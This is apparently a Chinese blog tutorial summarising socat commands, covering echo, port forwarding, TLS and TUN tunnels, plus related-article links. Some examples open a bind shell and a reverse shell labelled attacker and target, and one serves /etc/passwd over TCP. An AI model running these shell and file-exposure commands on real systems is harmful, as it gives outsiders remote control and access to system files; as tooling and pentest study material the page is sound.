事以密成,语以泄败。


导航


介绍

Socat 是一个功能强大的网络工具(相当于是增强版 netcat),它可以在两个数据流之间建立通道,且支持的数据流类型非常丰富,例如:TCP、UDP、TUN、SOCKS 代理、UNIX 套接字、STDIO 标准输入输出流、PIPE 管道流、OPEN 文件流、EXEC/SHELL/SYSTEM 进程流、OPENSSl 加密流等。


基本语法

socat [OPTION] <ADDRESS_1>[,OPTS] <ADDRESS_2>[,OPTS]
  • ADDRESS_1ADDRESS_2 表示两个通信的端点,即数据流。
  • OPTION 用于设置全局选项,比如单向模式、调试模式、日志级别等。【注:单向模式中的 -u 表示左流向右,-U 表示右流向左,不加则表示双向模式。】
  • OPTS 用于设置数据流的选项(不同类型的数据流对应的选项亦有所区别),常用的选项是 fork、reuseaddr。

用法示例

1. 回显输入

socat - -	#STDIO STDIO

说明:在终端输入什么就输出什么。

2. 回显输入 over TCP/UDP

socat - tcp-listen:1234,fork 	#STDIO TCP	服务端监听1234端口
socat - tcp:127.0.0.1:1234 #STDIO TCP 客户端连接1234端口 socat - udp4-listen:1234,bind=192.168.56.20,fork #STDIO UDP 服务端仅监听192.168.56.20接口的1234端口
socat - udp4:192.168.56.20:1234 #STDIO UDP 客户端连接1234端口

说明:客户端将输入的数据通过 tcp/udp 通道传输给服务端,而服务端又将接收的数据再传输给标准输出。

3. 正向连接 shell

socat tcp-listen:1234,fork exec:/bin/bash	#TCP EXEC	服务端监听1234端口
socat - tcp:127.0.0.1:1234 #STDIO TCP 客户端连接1234端口

说明:服务端将接收到的数据传输给 bash 进程,bash 处理之后将结果返回给客户端的标准输出。,

4. 反向连接 shell

socat - tcp-listen:1234,fork				#STDIO TCP	攻击机监听1234端口
socat EXEC:/bin/bash tcp:127.0.0.1:1234 #EXEC TCP 靶机连接1234端口
#socat - tcp:127.0.0.1:1234 #STDIO TCP 靶机连接1234端口

说明:攻击机将输入的数据传输给连接它的靶机,而靶机又将数据传递给了 bash 进程,经其处理之后返回结果到攻击机。【注意:如果有多个靶机同时连接攻击机,那么攻击机的输入会随机被传递给其中一个靶机,而不是同时传递给所有靶机。】

5. 端口转发

socat tcp-listen:1234,fork tcp:127.0.0.1:8080	#TCP TCP

说明:将本地监听端口 tcp/1234 接收的数据转发到本地的 tcp/8080 端口。【转发到远端亦行】

6. 网络服务

socat -U tcp-listen:1234,fork open:test.txt		#TCP OPEN

说明:将文件内容作为服务响应返回。【注意:此时最好使用-U单向模式(右向左),否则请求可能会覆盖文件内容。】

7. 文件传输

socat -U tcp-listen:1234,fork open:/etc/passwd				#TCP OPEN	发送端
socat -u tcp:127.0.0.1:1234 open:./passwd.txt,create #TCP OPEN 接收端

说明:发送端将文件数据传输给连接到监听端口的接收端,接收端又将收到的数据打包到新文件中。【注意单向模式的使用】

8. 管道传输

echo ok | socat - tcp-listen:1234,fork	#PIPE TCP
#socat - tcp-listen:1234,fork | bash #TCP PIPE

说明:(1)将 echo 输出的数据通过管道传递给连向监听端口的终端;(2)将监听端口接收到的数据传递给 bash 进程处理。

9. 加密传输

socat openssl-listen:8443,cert=ssl-cert.pem,key=ssl-cert.key,verify=0,fork tcp:127.0.0.1:8080	#OPENSSL TCP OPENSSL 服务端
#socat - openssl:127.0.0.1:8443,verify=0 #OPENSSL 客户端 #注:当服务端不是转发给 http 服务时,客户端需要此命令配合使用,示例截图中的 curl 命令拥有 openssl 客户端的功能故示例没有用到该命令。
#注:功能测试时,证书的生成可以使用 make-ssl-cert /usr/share/ssl-cert/ssleay.cnf ssl-cert 命令生成。

说明:监听 HTTPS 请求并将其转发到本地的 HTTP 服务。

10. TUN 网络

socat tcp-listen:1234,fork tun:192.168.1.1/24,up			#TCP TUN	服务端
socat tcp:192.168.56.20:1234 tun:192.168.1.2/24,up #TCP TUN 客户端

说明:所有连接到 TUN 服务端的终端,全都接入了一个自建的 TUN 网络之中,从而实现了异地组网。【在 Linux 中测试是成功的,但是在 Windows 中测试是失败的。】


杂项

Socat 命令总结的更多相关文章

  1. linux socat命令

    http://note.youdao.com/noteshare?id=35901183d9ccc09632339ec971fa58dd

  2. socat管理haproxy配置 ssh-keygen -N '' -t rsa -q -b 2048

    socat管理haproxy配置   haproxy是可以通过socat命令管理haproxy.cfg文件的:1.安装socat yum install socat -y 2.配置haproxy.cf ...

  3. 使用socat反向Shell多台机器

    原创:打码日记(微信公众号ID:codelogs),欢迎分享,转载请保留出处. 场景 很多时候,我们需要批量操作多台机器,业界一般使用Ansible来实现,但使用Ansible来操作多台机器的前提是需 ...

  4. haproxy的丰富特性简介

    */ .hljs { display: block; overflow-x: auto; padding: 0.5em; color: #333; background: #f8f8f8; } .hl ...

  5. Docker 的插件式设计

    http://www.tuicool.com/articles/MnIRZvJ http://uzhima.com/2016/08/02/what-is-docker-volume-plugin/ 在 ...

  6. 2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165212<网络对抗技术>Exp2 后门原理与实践 1.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作 ...

  7. 2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp2 后门原理与实践 目录 实验要求 实验内容 实验环境 预备知识 1.后门概念 2.常用后门工具 实验步骤 1 用nc或net ...

  8. 20165310 NetSec Week4 Exp2 后门原理与实践

    20165310 NetSec Exp2后门原理与实践 一.基础问题 例举你能想到的一个后门进入到你系统中的可能方式? 网页木马等访问网页导致 下载非官方源软件 随意下载邮件中不明程序等 例举你知道的 ...

  9. 20164317《网络对抗技术》Exp2 后门原理与实践

    1.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter(或其他软件)生成可执行文 ...

  10. RabbitMQ安装---rpm安装

    首先介绍一下个人的安装环境是Linux-centos7: 一.安装和配置rabbitmq的准备工作: 下载erlang:    wget http://www.rabbitmq.com/release ...

随机推荐

  1. 59.ref和reactive的区别

    首先,ref和reactive 定义响应式数据的,& vue3中的数据分为 2 类,一类没有响应式数据 第二类是响应式数据 : 如果没有使用ref 或者 reactive 定义数据,那么默认是 ...

  2. PG 的 MergeJoin 就是鸡肋

    好久没写博客,平时工作非常忙,而且现在对接的应用基本都是微服务架构. 微服务这种架构平时也很难遇到复杂SQL,架构层面也限制了不允许有复杂SQL,平时处理的都是简单一批的点查SQL. 基本上优化的内容 ...

  3. SpringMvc请求注解@RequestBody请求体/@PathVaribale/@RequestParam【支持Ajax】

    一.@RequestBody请求体 注意请求体只有form表单才有,而对于链接来说不使用 1).在Controller中写 @RequestBody String body是基本用法 另外可以封装对象 ...

  4. Tony Bai · Go语言第一课 _个人笔记 04|初窥门径:一个Go程序的结构是怎样的?

    Tony Bai · Go语言第一课 _个人笔记 04|初窥门径:一个Go程序的结构是怎样的? 1.配置国内的Go模块的镜像 配置国内镜像代理(使用阿里云镜像) go env -w GOPROXY=h ...

  5. 网络与并行计算国际会议IFIP NPC 2024(CCF推荐会议)投稿延期至2024年8月25日

    原地址: https://mp.weixin.qq.com/s/zmg0SDbyDmoNBbJYzDjADA 主页: https://www.npc-conference.com/#/npc2024/ ...

  6. 0.3 preface

    Preface 此书的目的是双重的: 1. 介绍多个领域的背景材料,让学生更好地理解和学习: 2. 详细讲解量子计算和量子信息领域的重要结论,既可以作为学生通识教育的一部分,又可以作为独立研究的前奏. ...

  7. Frida 问题集锦

    1. 使用过程中少用this Activity.onStart.implementation = function() { console.log('onStart: ' + this); this. ...

  8. 卡特兰数 Catalan 数列

    卡特兰数 Catalan 数列 引入 有一个无限大的栈,进栈的顺序为 \(1,2,\cdots,n\),求有多少种不同的出栈序列. 设 \(h[n]\) 为 \(n\) 个数的出栈序列方案数. 可以这 ...

  9. 简单几步,基于云主机快速为Web项目添加AI助手

    在华为开发者空间,借助华为云对话机器人服务 CBS您可以零代码创建一个大模型 RAG (Retrieval-Augmented Generation,即检索增强生成)应用,来实现 AI 助手的智能问答 ...

  10. HTTP请求与响应格式解析

     HTTP是Web浏览器与Web服务器之间通信的标准协议,HTTP指明了客户端如何与服务器建立连接,如果从服务器请求数据,服务器如何响应请求,关闭连接.HTTP是使用TCP/IP协议进行传输数据的,也 ...